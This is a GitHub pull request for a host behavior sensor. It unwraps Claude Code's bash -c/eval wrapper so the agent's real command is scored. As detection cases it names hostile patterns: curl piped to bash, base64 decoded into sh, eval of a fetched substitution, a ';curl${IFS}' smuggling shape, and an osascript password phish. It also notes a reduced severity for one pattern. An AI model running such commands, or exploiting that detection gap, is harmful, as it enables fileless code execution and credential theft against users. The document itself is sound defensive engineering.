Skip to content

Every command Claude Code runs arrives as eval '<CMD>', so the sensor was judging the harness instead of the command - #55

Open
opencdlee-dotcom wants to merge 1 commit into
mainfrom
agent/precision-s2/main
Open

opencdlee-dotcom wants to merge 1 commit into
mainfrom
agent/precision-s2/main

Conversation

@opencdlee-dotcom

Copy link
Copy Markdown
Owner

Step S2 of PRECISION-PLAN-2026-09-23.md: the behavior wrapper.

The defect

Incident #538: a while true; do s=$(gh pr checks 52 ...) poll loop fired eval-subshell. Claude Code runs every agent command as one bash -c string:

/bin/bash -c source ~/.claude/shell-snapshots/snapshot-bash-<nonce>.sh 2>/dev/null || true && shopt -u extglob 2>/dev/null || true && { \builtin unalias -- 'unsetenv'; \builtin unset -f -- 'unsetenv'; } >/dev/null 2>&1 || true && eval '<CMD>' < /dev/null && pwd -P >| /tmp/claude-<hex>-cwd

eval-subshell is eval … $(, so any <CMD> with a command substitution matched on the harness's own eval. The same eval was also the exec half of a combination. A value capture like v=$(curl -s https://…) scored cmdsub-fetch-exec + network-fetch, which makes fileless-fetch-exec at HIGH. Typed at a prompt, the same line is a MEDIUM fetch.

The fix

_agent_harness_payload() checks the argv against a fixed grammar and returns the unquoted payload. '"'"' and '\'' are decoded. The grammar is: the shell, the snapshot source clause, the optional shopt and unalias clauses, eval '…', and the < /dev/null && pwd -P >| …/claude-<hex>-cwd epilogue.

  • Free fields admit no shell metacharacters. This covers the snapshot path, the cwd file and the unalias name. If ;curl${IFS}… is smuggled into one of them, the argv no longer matches the harness shape. The same goes for any text before the eval or after the epilogue. In both cases the whole argv is judged, as it was before.
  • The payload is judged with the full ruleset, unchanged. curl | bash still scores fileless-fetch-exec HIGH. base64 -d | sh still fires. An osascript password phish is still CRITICAL. An eval the agent runs itself (eval "$(curl …)") still scores eval-subshell.
  • Wiring. The unwrap is used by _argv_signals, _argv_match_spans, _argv_evidence_preview (the preview now shows the payload) and _argv_case_identity. The case is the payload, which also removes the per-command cwd-file nonce from the case key. Unwrapping repeats until nothing changes, so every helper sees the same text.
  • What the finding records. check_behavior records wrapper: claude-code-snapshot on the finding and in its detail. The signal fingerprint and command_sha256 still use the exact argv.

Evidence

  • On this Mac, against the live process table: main scores eval-subshell on 2 of 8 harness processes. This branch unwraps 9 of 9 and scores none. The process sets differ because processes came and went between the two runs.
  • tests/test_behavior_harness_wrapper.py has 31 tests: #538 in both its recorded forms, the older prologue, real newlines, a value capture, pipe-to-shell, base64 into sh, a phish, the payload's own eval, an unwrapped eval with no change, a prologue with no payload, five smuggling shapes, idempotence, case identity, preview, and the check_behavior wiring.

Not in this PR

  • Closing #538 itself. It is a chain:persistence-execution incident (the Apple /bin/bash update joined with this behavior leg). With this change the behavior leg no longer fires, so no new evidence reaches it. Closing it through the mechanism that explains it is S3 (chain legs) or the existing age-out, not this step.
  • An assay lane. No existing lane goes through the wrapper path.
  • Payload-alone scoring has one known cost. A bare $(curl evil) in command position inside a harness payload drops from HIGH (via the harness eval) to MEDIUM. That is how the same line typed at a prompt is judged today. No idiom covers a command substitution in command position.
  • Double-quoted eval, Codex, and Hermes: no such wrapper appears in the recorded corpus.

🤖 Generated with Claude Code

… was judging the harness instead of the command

Incident #538 (2026-09-23): a `while true; do s=$(gh pr checks 52 ...)`
poll loop fired eval-subshell. Claude Code runs every agent command as
one `bash -c` string:

  /bin/bash -c source ~/.claude/shell-snapshots/snapshot-bash-<nonce>.sh
    2>/dev/null || true && shopt -u extglob 2>/dev/null || true &&
    { \builtin unalias -- 'unsetenv'; ... } >/dev/null 2>&1 || true &&
    eval '<CMD>' < /dev/null && pwd -P >| /tmp/claude-<hex>-cwd

eval-subshell is `eval ... $(`, so any <CMD> with a command substitution
matched on the harness's own eval. The same eval was also the exec half
of a combination: a value capture `v=$(curl -s https://...)` scored
cmdsub-fetch-exec + network-fetch = fileless-fetch-exec at HIGH, where
the same line typed at a prompt is a MEDIUM fetch. On this Mac right
now, main scores eval-subshell on 2 of 8 live harness processes; this
branch unwraps 9 of 9 and scores none.

_agent_harness_payload() recognises the wrapper against a fixed grammar
(the shell, the snapshot source clause, the optional shopt and unalias
clauses, `eval '...'`, the `< /dev/null && pwd -P >| .../claude-<hex>-cwd`
epilogue) and returns the unquoted payload (`'"'"'` and `'\''` decoded).
Free fields (snapshot path, cwd file, unalias name) admit no shell
metacharacter, so a `;curl${IFS}...` smuggled into one is not the harness,
and neither is any text before the eval or after the epilogue: those
argv are judged whole, as before. Unwrapping runs to a fixed point so
every helper sees the same text.

The payload is judged with the full ruleset, unchanged: `curl | bash`
still fileless-fetch-exec HIGH, `base64 -d | sh` still fires, an osascript
password phish still CRITICAL, and an eval the agent itself runs
(`eval "$(curl ...)"`) still eval-subshell. An unwrapped
`bash -c 'eval "$(curl -s http://x)"'` scores exactly as on main.

Wired into _argv_signals, _argv_match_spans, _argv_evidence_preview (the
preview shows the payload) and _argv_case_identity (the case is the
payload, which also drops the per-command cwd-file nonce the old key
kept). check_behavior records `wrapper: claude-code-snapshot` on the
finding and in its detail. The signal fingerprint and command_sha256
stay on the exact argv.

Only the Claude Code shape exists in the recorded corpus (both prologue
variants are covered). Codex runs `bash -lc <CMD>` with no eval to
unwrap; no Hermes argv is on record, and no double-quoted eval appears.

Tests: tests/test_behavior_harness_wrapper.py (31).

Co-Authored-By: Claude Opus 5.5 (1M context) <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant